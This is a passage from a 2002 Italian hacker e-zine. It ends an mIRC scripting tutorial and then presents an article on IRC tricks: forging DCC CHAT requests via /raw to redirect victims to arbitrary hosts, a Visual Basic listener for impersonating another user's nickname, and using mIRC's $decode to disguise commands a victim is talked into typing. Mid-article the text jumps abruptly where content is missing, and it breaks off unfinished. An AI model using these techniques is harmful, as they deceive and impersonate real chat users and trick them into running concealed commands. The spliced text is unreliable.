1:JOIN:#test2:/notice $nick Benvenuto su #test2 | | on 3:JOIN:= | | | | Gli utenti di livello 3 e superiore non riceveranno il notice di | | Benvenuto.... gli utenti di livello piu' basso lo riceveranno solo su | | #test1 e #test2. | | | | Il marcatore + | | | | Questo marcatore rende disponibile un dato comando SOLO agli utenti con | | l'ESATTO livello per quel comando... Gli utenti di livello superiore (e | | naturalmente quelli di livello inferiore) non potranno utilizzarlo | | accedervi! | | | | Esempio: | | | | | | on 1:JOIN:#mine:/ctcp $nick VERSION | | on +3:JOIN:#mine:/notice $nick Benvenuto. | | | | Tutti gli utenti ad ESCLUSO quelli di livello 3 riceveranno una | | richiesta di versione sul canale 'mine' ... Gli utenti di livello 3 | | riceveranno un messaggio di benvenuto... | | | | Esempio: | | | | | | on +5:JOIN:#mirc:/msg $nick Benvenuto utente di livello 5! | | | | I marcatori ; e REM | | | | Questi marcatori possono essere utilizzati per disabilitare | | temporaneamente dei comandi o degli eventi 'commentandoli'. | | | | Esempio: | | | | | | on 1:JOIN:#mine:/notice $nick Benvenuto. | | REM on 1:JOIN:#mine:/notice $nick Benvenuto. | | | | I marcatori * e @ | | | | Questi due marcatori equivalenti fra loro fanno si che mIRC esegua un | | evento o un comando SOLO se si e' Op sul canale nel quale i comandi o | | gli eventi vengono utilizzati. | | | | | | on *1:JOIN:#mine:/notice $nick Benvenuto. | | on @10:JOIN:#mine:/mode $chan +o $nick | | | | Il marcatore me | | | | Questo marcatore ha lo scopo di assicurare che gli eventi operino solo | | se qualcuno ha esattamente lo stesso vostro indirizzo. Quest'altra | | persona normalmente dovrebbe essere una seconda istanza di m RC eseguita | | sullo stesso PC. Ricordate che tramite un utilizzo appropriato dei | | livelli utenti nella sezione Remote/users non dovreste mai (?) aver | | bisogno di questo marcatore. | | | | Marcatori condizionali. | | | | Nella versione 3.7 di mIRC sono stati introdotti alcuni marcatori | | addizionali per gli EVENTS. Con questi marcatori e' possibile far si che | | mIRC tenga conto del livello della persona che ha attivato u EVENTO. | | Questi marcatori possono essere utilizzati con gli eventi OP, DEOP e | | KICK poiche' questi eventi sono gli unici che operano su qualcuno che fa | | qualche cosa a qualcun'altro. I tre marcatori ch e' possibile | | utilizzare sono >, < e =. Ma e' anche possibile fare delle combinazioni | | matematiche di questi marcatori che portano il numero di marcatori a 6: | | <, >, <=, >=, <> e =. | | | | Questi marcatori faranno si che l'evento venga attivato solo se PRIMO il | | livello dell'evento corrisponde alla persona che riceve l'op, che lo | | perde o che riceve un kick. SECONDO che il livello dell' | | ttivatore corrisponda all'espressione matematica{livello-attivatore} | | [marcatore (espressione matematica)] {livello_evento} | | | | Credo che ora servano alcuni esempi.... !! | | | | Si supponga che siate la GUARDIA con un Amico di livello due ed un | | Attivatore che puo' avere livelli differenti... Si immagini ora questi | | semplici EVENTI: | | | | | | on <2:DEOP:#test123:/msg $chan attivato il < | | on >=2:DEOP:#test123:/msg $chan attivato il >= | | | | Con l'attivatore a livello 1. | | | | | | *** L'attivatore imposta il mode: -o Friend | | attivato il < | | | | Il vostro Amico ha il livello 2, l'Attivatore ha il livello 1, 1<2 e' | | valido (uno e' minore di 2), viene attivato il primo livello dell'evento | | 2 DEOP... | | | | Con l'attivatore a livello 2. | | | | | | *** L'attivatore imposta il mode: -o Friend | | attivato il >= | | | | Il vostro Amico ha il livello 2, l'Attivatore ha il livello 2, 2<2 non | | e' valido, 2>=2 e' valido (2 e' maggiore o uguale a 2), viene attivato | | il secondo livello dell'evento 2 DEOP... | | | | Con l'attivatore a livello 3. | | | | | | *** L'attivatore imposta il mode: -o Friend | | attivato >= | | | | Il vostro Amico ha il livello 2, l'Attivatore ha il livello 3, 3<2 non | | e' valido, 3>=2 e' valido (3 e' maggiore o uguale a 2), viene attivato | | il secondo livello dell'evento 2 DEOP... | | | | Come si vede risulta abbastanza semplice una volta capito il | | meccanismo... rileggetelo sino a quando lo avrete ben capito... | | | | Altri esempi: | | | | | | on <2:DEOP:#test123:/msg $chan attivato il < | | on >2:DEOP:#test123:/msg $chan attivato il > | | | | Con l'attivatore a livello 1. | | | | | | *** L'attivatore imposta il mode: -o Friend | | attivato il < | | | | Con l'attivatore a livello 2. | | | | | | *** L'attivatore imposta il mode: -o Friend | | | | Con l'attivatore a livello 3. | | | | | | *** L'attivatore imposta il mode: -o Friend | | attivato il > | | | | on =2:DEOP:#test123:/msg $chan attivato = | | | | Con l'attivatore a livello 1. | | | | | | *** L'attivatore imposta il mode: -o Friend | | | | Con l'attivatore a livello 2. | | | | | | *** L'attivatore imposta il mode: -o Friend | | attivato = | | | | Con l'attivatore a livello 3. | | | | | | *** L'attivatore imposta il mode: -o Friend | | | | Variabili. | | Selezionare il menu Tools/Remote/ e si vada alla sezione "Variables"... | | In questa parte della Remote e' possibile impostare le proprie | | variabili. Le variabili possono contenere numeri, parole o anche linee | | di testo. Sulle variabili contenenti numeri e' possibile operare delle | | manipolazioni matematiche per aumentare, diminuire, addizionare o | | sottrarre variabili con valori specifici o fra di loro. | | e variabili iniziano sempre con un % e possono avere un nome di | | qualsiasi lunghezza. Le variabili vengono memorizzate fra una sessione e | | l'altra in un file di variabili all'interno della directory d mIRC. | | | | Sono disponibili diversi comandi per creare e gestire le variabili: | | | | (q=quiet; non viene riportato il risultato dell'operazione) | | | | /set [-q] <%var> [valore] per creare una variabile | | /unset [-q] <%var> [%var2] ... [%varN] per cancellare una variabile | | /unsetall Per cancellare tutte le variabili | | /inc [-q] <%var> [valore] Per incrementare una variabile con un dato | | valore (numero o variabile) | | /dec [-q] <%var> [valore] Per decrementare una variabile con un dato | | valore (numero o variabile) | | Con l'aiuto di questi comandi e' possibile realizzare qualsiasi tipo di | | linee di alias o di remote! | | | | Ecco una serie di esempi: | | | | comandi Remote (si veda oltre): | | | | | | ctcp 2:xdcc send #1:/dcc send $nick c:\temp\serve\mirc50s.exe | /inc | | %mirc16 1 | | ctcp 2:xdcc send #2:/dcc send $nick c:\temp\serve\mirc50t.exe | /inc | | %mirc32 1 | | ctcp 2:xdcc send #3:/dcc send $nick c:\temp\serve\mircfq31.zip | /inc | | %faq 1 | | ctcp 1:stats:/notice $nick Statistiche invio: mIRC= %mIRC e FAQ= %faq | | | | eventi Remote (si veda oltre): | | | | | | on 2:TEXT:xdcc send #1*:?:/dcc send $nick c:\temp\serve\mirc50s.exe | | | /inc %mirc16 1 | | on 2:TEXT:xdcc send #1*:?:/dcc send $nick c:\temp\serve\mirc50t.exe | | | /inc %mirc32 1 | | on 2:TEXT:xdcc send #2*:?:/dcc send $nick c:\temp\serve\mircfq31.zip | | | /inc %faq 1 | | | | Alias: | | | | | | /stats /echo 6 mIRC16: %mirc16 mIRC32: %mirc32 and FAQ: %faq | | | | Con queste linee ho realizzato un piccolo contatore per i download... | | non perfetto ma funziona! | | | | È possibile anche aggiungere alcuni alias come questo che segue per | | mantenere statistiche parziali: | | | | | | /reset /set %date $day $date | /inc %mirc16tot %mirc16 | /inc %mirc32tot | | %mirc32 | /inc %faqtot %faq | /set %mirc16 0 |set %mirc32 0 | /set %faq | | 0 | | /stats /echo 6 Stats mIRC16: %mirc16 ( %mirc16tot ) mIRC32: %mirc32 ( | | %mirc32tot ) e FAQ: %faq ( %faqtot ) (Set on %date ) | | | | Quando si incrementa o decrementa una variabile che non esiste questa | | verra' creata automaticamente ed impostata al valore che ci si aspetta. | | | | Esempio: | | | | | | /inc %test1 6 impostera' %test1 a 6 se la variabile non esisteva | | precedentemente | | /dec %test2 7 impostera' %test2 a -7 se la variabile non esisteva | | precedentemente | | | | Nota : Bisogna assicurarsi di inserire sempre il % !Cio' permette di | | evitare un mucchio di piccoli ma possibili problemi nell'analisi del | | comando da parte di mIRC. Cio' non limita i modi con cui le va iabili | | possono essere utilizzate poiche' e' possibile utilizzare costruzioni | | del tipo: | | | | | | ctcp 1:upme:/inc % $+ $site 1 | | ctcp 2:xdcc send #1:/dcc send $nick c:\temp\serve\mirc50s.exe | /inc % | | $+ $nick 1 | | ctcp 2:xdcc send #2:/dcc send $nick c:\temp\serve\mirc50t.exe | /inc % | | $+ $nick 1 | | ctcp 2:xdcc send #3:/dcc send $nick c:\temp\serve\mircfq31.exe | /inc % | | $+ $nick 1 | | ctcp 2:xdcc stats:/notice $nick Hai gia' scaricato i file %nick il %date | | | | | | Remote Scripts - gestione dei Raw. | | In Tools/Remote/ Scripts mIRC permette di gestire direttamente tutti i | | processi server <> cliente (mIRC) nel modo desiderato. Funziona | | esattamente come i Remote Events con la differenza che mIRC res era' in | | ascolto di eventi NUMERICI. Questi numeri del server sono descritti | | nella IRC RFC1459 (http://ds.internic.net/rfc/rfc1459.txt). Altre | | informazioni specifiche per mIRC sono disponibili presso | | ttp://www.teleport.com/~jeepster/numeric.asp È opportuno utilizzare le | | linee di Raw Script -solo- se si sa esattamente quello che si sta | | facendo e solo se strettamente necessario. Un cattivo utilizz di linee | | di Raw Script possono rendere mIRC ingovernabile. È possibile sostituire | | le routine interne di mIRC. | | | | Esempio: | | | | | | raw 322:*mirc*:/echo 2 $1- | | | | Questa linea stampa tutte le linee contenenti la parola "mIRC" durante | | l'esecuzione di una /list di canali (si tratta di una prova molto | | intensa come carico di lavoro). | | | | Per ricopiare, sulla finestra attiva, un sommario di 2 linee di quanto | | restituito dal comando /whois, si inseriscano le seguenti linee nella | | sezione Raw (listening deve essere attivo): | | | | | | raw 311:*:echo 5 $active *** $2- | | raw 319:*:echo 5 $active *** $2- | | | | Queste due righe visualizzeranno le linee user e canali. I valori | | numerici per le altre risposte del /whois sono: 312, server; 313, ircop; | | 301, away; 317, idle; e 318, end. Per una copia completa de /whois, si | | duplichi semplicemente le linee precedenti utilizzando questi numeri. | | | | Per scoprire quali sono i valori numerici utilizzati dai server e' | | possibile utilizzare l'identificatore $numeric che fa riferimento ai | | numeri dell'evento raw che e' stato attivato. Nella IRC RFC1459, Sezione | | 6; risposte numeriche, e' possibile trovare tutti i valori numerici con | | il loro valore, nome e stringa di risposta. | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #05 - 14/01/2002 | | GAB0LE iN iRC [Xp Terminator] 0x1C/0x23 | +--------------------------------------------------------------------------+ | | | +++ Disclaimer +++ | | Continuando a leggere questo testo accetti le seguenti condizioni: | | | | tutte le azioni che compirai durante e dopo la lettura di questo | | testo saranno di tua completa responsabilita`, nessuna colpa potra` | | essere quindi data ne all`autore del testo ne a chiunque altro citato. | | +++ | | | | | | .: IRC :. | | | | Irc e` sicuramente uno dei protocolli di chat piu` utilizzati al mondo, | | ma soprattutto e` stato il primo protocollo di chat a tempo reale | | realizzato. L`Internet Relay Chat faceva la sua prima comparsa gia` nel | | 1988, poi, miglioratosi nel tempo, si e` sempre piu` diffuso,diventando | | cio` che e` oggi. Questo sistema di chat si basa su un server irc | | bindato solitamente sulla porta di default 6667 di un server, al quale | | e` possibile connettersi tramite un client irc; appena connessi bisogna | | registrarsi, cioe' "presentarsi", (il client irc lo fa automaticamente) | | e si puo` iniziare a chattare joinando uno o piu` canali. | | | | .: Client IRC :. | | | | Il compito principale del client irc e` quello di un vero e proprio | | interprete dei comandi: quando inviamo un comando come per esempio | | "/ping nickname", questo non viene inviato cosi` com`e` al server irc, | | ma viene elaborato dal client: la stringa inviata al server e` in | | realta` "PRIVMSG NICKNAME : PING 12345678 ", dove 12345678 e' un | | numero generato dal client utilizzato come identificatore, cioe' che | | aiuta a capire ad ogni ping quale pong appartiene, proprio come avviene | | nei veri ping con il campo Identifier dei pacchetti ICMP. | | Potete verificare cio` sniffando la vostra connessione e osservando il | | pacchetto inviato per un ping, il risultato sara' simile al seguente: | | | | Source IP: xxx.xxx.xxx.xxx Target IP: yyy.yyy.yyy.yyy | | TCP Length:37 Source Port:1130 Target Port:6667 Seq:369FDEB6 Ack: | | E1CFF6F1 | | Flags: PA Window: 9112 TCP ChkSum: 63304 UrgPtr: 0 | | 00000000: 50 52 49 56 4D 53 47 20 70 72 65 73 69 64 65 6E PRIVMSG | | presiden | | 00000010: 74 20 3A 01 50 49 4E 47 20 31 30 30 35 33 33 32 t :.PING | | 1005332 | | 00000020: 38 38 38 01 0A 888.. | | | | Lo stesso naturalmente vale anche per i semplici messaggi inviati; | | quando il client vede che la stringa non inizia con / capisce | | che e` un messaggio ed invia al server il comando | | "PRIVMSG NICKNAME_O_#CHAN :MESSAGGIO", dove NICKNAME_O_#CHAN e` il | | nickname della persona a cui vogliamo inviare il messaggio o il nome | | del canale a cui invarlo. Da cio` e` facile capire che i comandi che | | digitiamo non sono altro che dei comandi usati per convenzione dai | | client, col fine di semplificare la comunicazione col server ( cio` che | | avviene con tutti i client, questo e' il loro compito..). | | Un modo per rendervi piu` chiare le idee e` quello di telnettarvi | | sul vostro server irc preferito e di provare ad inviare i soliti | | comandi che digitate nel client. | | Sia il protocollo IRC sia i vari server IRC sono in continua | | evoluzione, e per evitare che un client non permetta una certa | | operazione si puo` inviare un comando direttamente al server, senza | | l`elaborazione del client, grazie al comando convenzionale "/quote " | | o "/raw ". Basta anteporre uno di questi due comandi al comando che si | | vuole inviare al server. Per provare, digitate nel vostro client | | "/raw PRIVMSG VOSTRO_NICK :Ciao :)": dopo un attimo vi si aprira` una | | query e vi arrivera` il messaggio "Ciao :)" da voi stessi (sempre che | | abbiate sostituito VOSTRO_NICK col vostro nickname :P), naturalmente | | non rispondetegli :P. | | | | Ok, l'introduzione basilare al testo, la parte piu` teorica , e` | | finita, passiamo ora a vedere qualcosa di maggiormente interessante | | e curioso che ho scoperto utilizzando irc. | | | | Poiche` i comandi reali inviati al server e quindi le opzioni di questi | | vengono trattati dal nostro client, e` improbabile poter scoprire bug | | o tricks del protocollo o di un server irc, proprio come, per esempio, | | (esempio classico..) non possiamo inviare fake mail utilizzando un | | client mail (almeno che non si modifichino le impostazioni).Per la fake | | mail ricorriamo all`utilizzo di telnet, mentre, per irc, il tutto e` | | ancora possibile rimanendo nell`ambito del client irc utilizzando il | | comando appena visto "/raw". | | Per testare i vari comandi e quindi poterne trovare pro e difetti | | dobbiamo conoscerne la sintassi, quindi o leggiamo l`RFC inerente irc | | oppure, piu` facilmente, sniffiamo la nostra connessione durante | | l`utilizzo del comando e osserviamo i pacchetti che il client invia al | | server. | | | | | | .: uSO AltERNAtiVo DELLA dCC CHAt :. | | | | La dcc chat e` una chat privata che a differenza della query avviene | | senza nessun tramite tra i due utenti (nella query il tramite e` il | | server irc) e quindi e` possibile visionare l`indirizzo ip dell`utente | | con cui si sta parlando. Quindi, sniffiamo un po` ;) ed osserviamo la | | sintassi del comando: | | | | Source IP: xxx.xxx.xxx.xxx Target IP: yyy.yyy.yyy.yyy | | TCP Length:54 Source Port:1300 Target Port:6667 Seq:70ECA4EC Ack: | | C64F6192 | | Flags: PA Window: 8841 TCP ChkSum: 56804 UrgPtr: 0 | | | | 00000000: 50 52 49 56 4D 53 47 20 58 70 54 65 72 6D 69 6E PRIVMSG | | XpTerminator | | 00000010: 61 74 6F 72 20 3A 01 44 43 43 20 43 48 41 54 20 ator :.DCC | | CHAT | | 00000020: 63 68 61 74 20 32 33 35 34 35 35 34 31 35 38 20 chat | | 2354554158 | | 00000030: 33 39 33 36 01 0A 3936.. | | | | Le prime tre righe rappresentano l'header del pacchetto, quindi source | | ip, target ip, flag settati, checksum, ecc., il resto e' il campo del | | pacchetto riguardante i dati. I numeri centrali sono i codici ascii | | in esadecimale della stringa della terza colonna, cioe` della nostra | | sintassi. Come vediamo quindi la sintassi e` | | "PRIVMSG NICKNAME : DCC CHAT chat 12345 12345 " | | Come notate nel pacchetto che abbiamo sniffato al posto dei " " | | vi sono dei punti (anche nel pacchetto visto precedentemente, quello | | del ping),pero` se osservate la colonna centrale e il rispettivo codice | | ascii in esadecimale vedete che il valore e` 01 che in decimale e` | | sempre 01 ma che normalmente in un normale editor di testo non si | | riesce a visualizzare come codice ascii (provate nel vostro editor | | ALT + 1), e neanche lo sniffer riesce a visualizzarlo quindi lo | | sostituisce con un punto. Per visualizzarlo e quindi poterlo utilizzare | | nel vostro client, esistono diversi metodi,che possono cambiare secondo | | il sistema operativo e il client irc in utilizzo. Con X-Chat per | | visualizzarlo, basta cliccare sulla freccetta che si trova al lato | | della text box dove si scrivono i messaggi, cliccare sul tasto ASCII e | | quindi sul tasto relativo al carattere 1, questo sara' visualizzato come | | un piccolo rombo (potrebbe essere diverso). Con mIRC si puo' utilizzare | | il comando "//echo $chr(1)" per visualizzare il carattere, questo verra' | | rappresentato con un quadratino. Naturalmente non ho potuto verificare | | con tutti i client, ma per visualizzare il carattere si puo' anche per | | esempio utilizzare la funzione per visualizzare caratteri ascii, quasi | | sempre chr,presente praticamente in tutti i linguaggi di programmazione | | "chr(1)" (naturalmente e` una funzione e come tale restituendo un | | valore va inserito nella procedura per visualizzare a video | | [per esempio in Pascal "writeln(chr(1));"])(questo e` un metodo che non | | sempre mi ha funzionato, sempre a causa dell'incapacita' di visualizzare | | il carattere). Esisteranno sicuramente anche altri metodi per | | visualizzarlo ma io non ne conosco altri. | | Il carattere ascii 1 e' questo "", se non vedete nessun carattere tra | | le virgolette significa che il vostro editor non ne ha la possibilita'. | | Detto questo continuiamo l`analisi della sintassi. La prima parte | | "PRIVMSG NICKNAME" specifica che stiamo inviando un messaggio privato | | al nickname, la seconda parte invece, che si trova tra i caratteri | | ascii 1 ("DCC CHAT chat 1234 12345") va analizzata piu` a fondo. | | "DCC CHAT chat" specifica appunto che stiamo inviando una richiesta di | | DCC CHAT, mentre i due numeri successivi sono rispettivamente il nostro | | indirizzo ip in formato long e la porta che abbiamo messo in listening | | in attesa che l`utente accetti la dcc chat e ci si connetti : cio` | | avviene perche` la connessione dcc chat dalla parte client e` una | | connessione passiva; e` facile capire il perche`: se sarebbe stata una | | connessione attiva, il client sarebbe stato in grado di conoscere | | l`indirizzo ip dell`utente irc anche senza che questo avesse accettato | | la dcc chat. Spiego meglio: l`utente che ricevera` la richiesta di dcc | | chat, se accetta, dovra` conoscere il nostro ip e la nostra porta | | locale alla quale connettersi per la conversazione privata. Normalmente | | si pensa che sia direttamente il server irc a inviarlo all`utente, ma | | per diversi motivi, come per esempio quello che il server irc non puo` | | sapere su che porta noi stiamo attendendo la connessione, lo inviamo | | invece noi. Il fatto che noi specifichiamo a che ip e porta debba | | connettersi l`utente dovrebbe gia` farci venire un paio di belle idee | | in testa, infatti, grazie a questo comando, potremo effettuare un | | semplice ip spoofing (se cosi` lo si puo` definire..). | | In pratica cambiando questi due dati, se il ricevente della richiesta | | accetta, non si trovera` in dcc chat con noi, ma con il demone sulla | | porta 12345 della macchina 12345 che specificheremo, in parole povere : | | facciamo connettere la persona a cui inviamo la richiesta dove vogliamo, | | trasformando la semplice dcc chat in un telnet;naturalmente la finestra | | della dcc chat (il nostro telnet ;)non fungera` anche come emulatore di | | terminale, quindi non potremo far connettere la persona a determinati | | servizi, o meglio, si connettera`, ma le risposte che gli inviera` il | | server saranno incomprensibili per lui. Nell`analisi di prima abbiamo | | visto che l`indirizzo ip da inviare si deve specificare in formato long, | | quindi,prima di poter continuare,vediamo come sia possibile convertirlo | | in questo formato. | | Per convertire un indirizzo ip dal formato normale a 32 bit al formato | | long, si prosegue in questo modo: immaginiamo che l`indirizzo ip da | | convertire sia 100.20.30.40;sappiamo che l`indirizzo ip e` formato da 4 | | numeri da 8 bit ciascuno, moltiplichiamo il primo per 16777216, il | | secondo per 65536, il terzo per 256 ed il quarto per 1, quindi facciamo | | la somma di questi quattro prodotti. | | Nel nostro esempio: | | | | (100 * 16777216) + | | (20 * 65536) + | | (30 * 256) + | | (40 * 1) = | | 1677721600 + 1310720 + 7680 + 40 = 1679040040 | | | | quindi | | 100.20.30.40 -> formato standard | | = | | 1679040040 -> formato long | | | | Se utilizzate come client irc mirc, per la conversione da formato | | 32 bit a quello long e viceversa, si puo' utilizzare il comando | | "//echo 2 $longip(IP)": se forniamo l`IP in formato long ci verra` | | restituito in formato a 32 bit e se forniamo quello a 32 bit ci verra` | | restituito in formato long. | | Spiegato cio` passiamo alla pratica. Esistono diversi scenari di | | applicazione, vediamone qualcuno: | | | | In irc e` connesso un tizio con nickname NICKNAME (che fantasia :), e | | vogliamo farlo connettere per esempio al server xxx.xxx.xxx.xxx sulla | | porta 25. Per prima cosa convertiamo l`indirizzo xxx.xxx.xxx.xxx in | | formato long ed otteniamo yyyyyyyyyyy, dopodiche` scriviamo in irc: | | "/raw PRIVMSG NICKNAME : DCC CHAT chat yyyyyyyyyyy 25 " | | oppure | | "/quote PRIVMSG NICKNAME : DCC CHAT chat yyyyyyyyyyy 25 " | | e NICKNAME ricevera` una richiesta DCC CHAT da parte vostra, ma quando | | accettera` non sara` in chat privata con voi, ma sara` connesso sul | | server da noi specificato in comunicazione col demone smtp sulla | | porta 25 (logicamente sempre se la porta sia aperta), e tutto cio` che | | credera` di inviare a voi lo inviera` in realta` al server e tutto cio` | | che il server gli rispondera` gli sembrera` in realta` arrivare da voi. | | | | | | E` una giornata molto calda e siamo molto stanchi, non abbiamo voglia | | di utilizzare il nostro solito e monotono telnet (=P) e pensiamo di | | cambiare utilizzando la dcc chat ;). Quindi mettiamo caso che il nostro | | nick e` XpTerminator e ci vogliamo connettere al server xxx.xxx.xxx.xxx | | sulla porta 25. Convertiamo xxx.xxx.xxx.xxx in yyyyyyyyyy e inviamo | | questo comando | | "/quote PRIVMSG XpTerminator : DCC CHAT chat yyyyyyyyyy 25 ", ci | | arrivera` una richiesta di dcc chat da parte di noi stessi e quando | | accetteremo saremo in chat privata con yyyyyyyyyy:25. I messaggi che ci | | arriveranno dal server ci appariranno come invati da noi stessi, cioe` | | del tipo: " Server yyyyyyyyyy". | | | | Se riuscite a trovare un nuovo utilizzo o scenario per questo | | piccolo trick contattatemi all`indirizzo email | | xp_terminator@katamail.com , lo pubblichero` volentieri in un | | aggiornamento di questo testo, con naturalmente un ringraziamento | | riportato. | | | | | | .: sCHERZETTi DEl MiRc :. | | | | Il client Mirc ha due funzioni $encode e $decode che criptano e | | decriptano dei comandi usando Uuencode o Mime. | | La sintassi di queste due funzioni e`: | | $encode(msg[, mubt]) | | $decode(msg[, mubt]) | | | | In realta` non e` precisamente cosi`, ci sarebbe un terzo parametro, | | opzionale, ma che non ci interessa per il nostro fine. Msg e` il | | messaggio che vogliamo criptare o decriptare, mentre il secondo | | parametro puo` avere come valori m , u , b , t. M sta per Mime, | | U sta per uucode(la scelta di default se si tralascia questo parametro) | | le altre due B e T le sorvoliamo non interessandoci.Proviamo a scrivere | | il comando "//echo $encode(/amsg Ciao)" (ricordo che naturalmente il | | tutto funziona solo con mirc), il client ci restituira` | | "*+V%M componeti --> spuntate | | la scelta "Microsoft Winsock Control x.x" --> Ok). | | Aggiungete un controllo winsock sul form con nome | | winsock1, aggiungete due pulsanti con nome command1 | | e command2. Nel text3 modificate le proprieta`: | | multiline = true e scrollbars = 3 - both. | | Aggiungete infine il seguente codice: | | | | 0101000101010101010100101101010101001010101010101010101010101010 | | Private Sub Command1_Click() | | Winsock1.LocalPort = Text1.Text | | Winsock1.Listen | | End Sub | | Private Sub Command2_Click() | | Winsock1.SendData Text2.Text & vbCrLf | | Text3.Text = Text3.Text & Text2.Text & vbCrLf | | End Sub | | Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) | | If Winsock1.State <> sckClosed Then Winsock1.Close | | Winsock1.Accept requestID | | End Sub | | Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) | | Dim dati As String | | Winsock1.GetData dati, vbString | | Text3.Text = Text3.Text & dati | | End Sub | | 0101000101010101010100101101010101001010101010101010101010101010 | | | | | | Il programma e' finito, ora per falo funzionare in text1 | | scriverete la porta locale che vorrete aprire, con | | command1 vi metterete in listening su quella porta, | | quando si connettera` qualcuno ad essa e scrivera` un | | messaggio questo apparira` in text3, se volete inviare | | un messaggio come risposta lo scrivete in text2 e | | cliccherete su command2. | | Naturalmente questo programma e` moolto grezzo, | | lavoratevelo e miglioratelo in modo da renderlo piu` | | efficiente... | | | | | | Ok. Abbiamo sia il nostro ip in formato long, sia il nostro bel | | programmillo. Avviamo il programma e mettiamolo in listening su una | | porta qualunque, per esempio 1234.Prepariamo ora il comando che useremo | | appena connessi, questo comando sara`: | | "/raw PRIVMSG NICKNAME : DCC CHAT chat xxxx yyyy ", dove NICKNAME e` | | il nick della persona con cui vogliamo instaurare la dcc chat falsa, | | xxxx e` il nostro ip in formato long, e yyyy e` la nostra porta locale | | in listening, quindi nel nostro esempio 1234. Ora possiamo connetterci | | col nickname dell`utente che vogliamo impersonificare. Appena connessi, | | se l`utente ha settato il kill on, ci arrivera` un messaggio simile a | | questo: | | | | "-NickServ- Hai un minuto di tempo per cambiare nick, dopodiche` ti | | verra` | | cambiato automaticamente." | | | | oppure a questo se e` un server inglese: | | | | "-NickServ-If you do not change within one minute, I will change your | | nick." | | | | Non ce ne preoccupiamo ed inviamo il comando, dopodiche` ci | | disconnettiamo dal server. Torniamo al nostro programma ed osserviamo: | | appena NICKNAME accettera` la dcc chat cio` che inviera` (credera` di | | stare a parlare con colui che impersonifichiamo)ci arrivera` in realta` | | a noi, e tutto cio` che gli risponderemo col programma gli apparira` | | come visualizzato dal nick impersonificato precedentemente (Nota che | | dopo aver inviato il comando con il nick impersonificato ed esserci | | disconnessi, potrebbe connettersi la persona reale che avevamo | | impersonificato, e la nostra chattata in dcc continuera` normalmente). | | | | Vediamo ora un semplice scenario di applicazione: | | sono connessi su irc Tizio1 e Tizio2.Sentiamo in un canale qualcosa del | | genere: Domani allora connettiti che ti dico quel fatto ;) | | dopo le 18 io ci sono sempre | | Ok allora mi connetto domani verso le 19 | | bye | | ok bye | | dove "quel fatto" e` qualcosa che potrebbe interessarci :). | | L`indomani noi ci colleghiamo col nick Tizio2 verso le 18.15 senza | | entrare pero` nel canale. Scriviamo il comando | | "/raw PRIVMSG TIZIO1 : DCC CHAT chat xxxx yyyy "dove xxxx e yyyy sono | | rispettivamente il nostro ip e la porta in listening, e appena accetta | | la dcc chat gli diciamo "Ciao Tizio1 :), sono arrivato in anticipo ;).. | | parliamo di quel fatto allora..." ;)naturalmente a lui questo messaggio | | gli apparira` nella forma: | | | | Ciao Tizio1 :), sono arrivato in anticipo ;)..parliamo di quel | | fatto allora... | | | | anche se noi ci saremo disconnessi dal server irc, anche se il nick | | impersonificato e` registrato o ha settato il kill on ed anche se nel | | frattempo il vero Tizio2 si sara` collegato. | | (naturalmente questo e` solo un piccolo esempio, tutti gli altri casi | | possibili li lascio alla vostra immaginazione ;)) | | | | Ecco una spiegazione del perche` avviene tutto questo. | | Praticamente la dcc chat e` qualcosa in realta` non integrata con irc, | | infatti con essa non avviene altro che una normale connessione | | utente - utente, senza nessun tramite tra i due,cosa che invece avviene | | nelle query o quando si parla in canale (utente-server irc-ricevente); | | in parole ancora piu` semplici: quando inviamo col client irc una | | richiesta di dcc chat questo sceglie una porta per la comunicazione dei | | dati e la comunica all`utente ricevente della richiesta insieme all`ip | | in formato long (nella forma: utente - server irc - utente); quando | | quest`ultimo riceve la richiesta, se la rifiuta avverte l`utente del | | rifiuto con un messaggio sempre nella forma utente - server irc - utente | | altrimenti se accetta non fa altro che effettuare una semplice | | connessione all`ip e porta specificata nella richiesta dcc. Il fattore | | piu` importante che entra in gioco e` questo: essendo la dcc chat non | | integrata in irc come appena detto, quando il client riceve una dcc | | chat e questa viene accettata, il nickname di colui che ha inviato la | | richiesta viene salvato in memoria, e durante la dcc chat viene | | visualizzato davanti ai messaggi ricevuti...infatti, proprio per il | | fatto che (lo ripeto per l`ennesima volta, scusate..) non vi e` il | | server irc di tramite, l`utente in dcc chat che ricevera` i messaggi li | | ricevera` nella forma "MESSAGGIO" e non piu` | | ":NICKNAME!MASK PRIVMSG #canale_o_nick : MESSAGGIO", e appunto come | | appena visto, non sapendo nient`altro che il messaggio, il client irc | | inserisce come mittente il nickname di colui che aveva inviato la dcc | | chat. Spero di essere stato chiaro. | | | | | | .: SeCoNDo CaSo: HaRd/SoCiAl NiCk SpOOFiNG :. | | | | Vediamo ora il secondo caso: l`utente che vogliamo impersonificare e` | | connesso in irc. Avremo bisogno come prima di quel programmillo, del | | nostro ip in formato long e di una media dose di culo collegata ad un | | buon social engineering. | | A cosa ci serve il culo ed il social engineering? | | Ci serviranno per convincere il Tizio2 dell`esempi o precedente a | | scrivere un comando innocuo: | | "/raw PRIVMSG TIZIO1 :DCC CHAT chat xxxx yyyy " (innocuo fino ad un | | certo punto, dato i danni impliciti [ovvero il nick spoofing ;)]). | | In pratica cio` che dobbiamo fare e` la stessa cosa di prima, con | | l`unica differenza che questa volta, visto che Tizio2 e` connesso, non | | potremo scrivere il comando dal suo nick, ma dovremo convincere lui a | | scriverlo per noi ;). Se conosciamo Tizio2 saremo molto piu` | | avvantaggiati poiche` si fidera` maggiormente di noi. Appena Tizio2 | | scrivera` la stringa lui non notera` niente, non succedera` proprio | | niente, infatti, la dcc chat, appena accettata da Tizio1, arrivera` al | | nostro programmillo e non a lui. Se Tizio2 utilizza Mirc come client | | irc saremo ancora piu` avvantaggiati infatti potremo usare la codifica | | vista sopra nella sezione "Scherzetti del Mirc" di questo testo, e | | quindi dovremo riuscire a convincere Tizio2 a scrivere: | | "//$decode(CODIFICA_DEL_COMANDO,m)" | | piuttosto che | | "/raw PRIVMSG TIZIO1 : DCC CHAT chat xxxx yyyy " | | e credo sia piu` facile, dato che in questo modo non si legge nemmeno | | Tizio1 nel comando e quindi Tizio2 avra` meno sospetti. | | | | | | .: TeRZo CaSo: ExTrEmE NiCk SpOOFiNG :. | | | | Nel caso in cui si verifica che l`utente Tizio2 sia connesso e non | | riuscite a fargli scrivere il comando allora si puo` 